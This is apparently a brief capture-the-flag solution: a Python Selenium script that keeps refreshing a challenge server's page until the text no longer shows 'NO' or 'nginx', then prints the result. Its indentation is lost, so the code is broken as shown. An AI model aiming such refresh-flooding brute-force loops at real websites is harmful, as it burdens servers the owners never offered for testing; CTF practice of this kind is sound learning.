Python Selenium bruteforce solution:
```
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
driver = webdriver.Chrome(r'[driver location]')
driver.get("http://challs.xmas.htsp.ro:1341/")

text = driver.find_element_by_tag_name('body').text

while True:
try:
if not ("NO" in str(text) or "nginx" in str(text)):
print(text)
break
else:
text = driver.find_element_by_tag_name('body').text
driver.refresh()
except:
time.sleep(0.2)
driver.refresh()
```